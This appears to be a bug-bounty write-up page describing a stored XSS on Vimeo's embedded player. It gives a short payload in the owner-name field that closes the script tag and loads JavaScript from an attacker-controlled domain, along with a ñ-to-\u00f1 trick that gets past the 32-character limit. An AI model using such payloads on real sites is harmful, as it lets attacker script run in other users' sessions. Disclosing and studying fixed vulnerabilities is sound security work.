Stored XSS on player.vimeo.com
The Vimeo embedded player page inserted the video owner's name into a JavaScript context without escaping characters like <, >, and /. An attacker could set their name to a payload that breaks out of the script tag and loads external JavaScript, affecting any viewer of a public video.
Originally disclosed on HackerOne
- Triaged in 5 days
- Fixed in 5 days
- Paid in 6 days
- Disclosed after 2.0 years
Description
The page loaded for the Vimeo embedded player prints the Name of the owner of the video in Javascript context. Some characters are escaped, like " but others like >, < and / are not. So, you can insert your own HTML tags like </script><script src="//domain"> and - if the video is public - any Vimeo user can be affected by the Javascript code that is loaded.
However, there is a limitation: the maximum length of Name is 32 characters. But, it's not impossible to circumvent this limitation on Chrome and Safari. One way that I figured out to exploit this vulnerability, is taking advantage that the character ñ is printed as \u00f1 in the page of the embedded player and that Chrome and Safari take /\u00f1 as //u00f1.
Proof of concept Reproducible on Chrome.
- Go to https://vimeo.com/settings.
- For Name enter
</script><script src=/ñ.xyz>. - Click Save Changes.
- Upload a video and get the numeric identification of the video from the path like https://vimeo.com/137669589.
- I just registered the domain u00f1.xyz but StartSSL is not resolving the domain yet, so I can't request a certificate until their DNS servers are updated. For this reason you first have to go to https://u00f1.xyz/, click Advanced and click Proceed to u00f1.xyz (unsafe). I will add a comment to this report as soon as I can install a valid certificate. Sorry for the problem.
- Go to https://player.vimeo.com/video/[numeric_identification_of_the_video].
- The content from https://u00f1.xyz is loaded.
alert(document.domain)is executed.
Please, let me know if something is not clear. Video player with the XSS working: https://player.vimeo.com/video/137669589
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the application failed to properly escape or encode the owner's name when embedding it in a JavaScript context, allowing HTML tags to be injected.
Impact
Any Vimeo user viewing a public video could be affected by the attacker's JavaScript, which runs in the context of player.vimeo.com.
What the attacker needed
A Vimeo account; victim views the public video; attacker controls a domain
How it was found
- Go to the Vimeo settings page.
- Set the Name field to a payload that closes the script tag and loads an external script.
- Save the changes.
- Upload a video and note its numeric ID from the URL.
- Visit the embedded player URL for that video.
- Observe that the external script loads and executes.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When a website shows user-supplied text inside a script, it must escape special characters so the text cannot break out and become code. Here, the site escaped quotes but not angle brackets, so a user could close the script tag and add a new one pointing to their own JavaScript file. Anyone viewing the video would then run the attacker's code.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.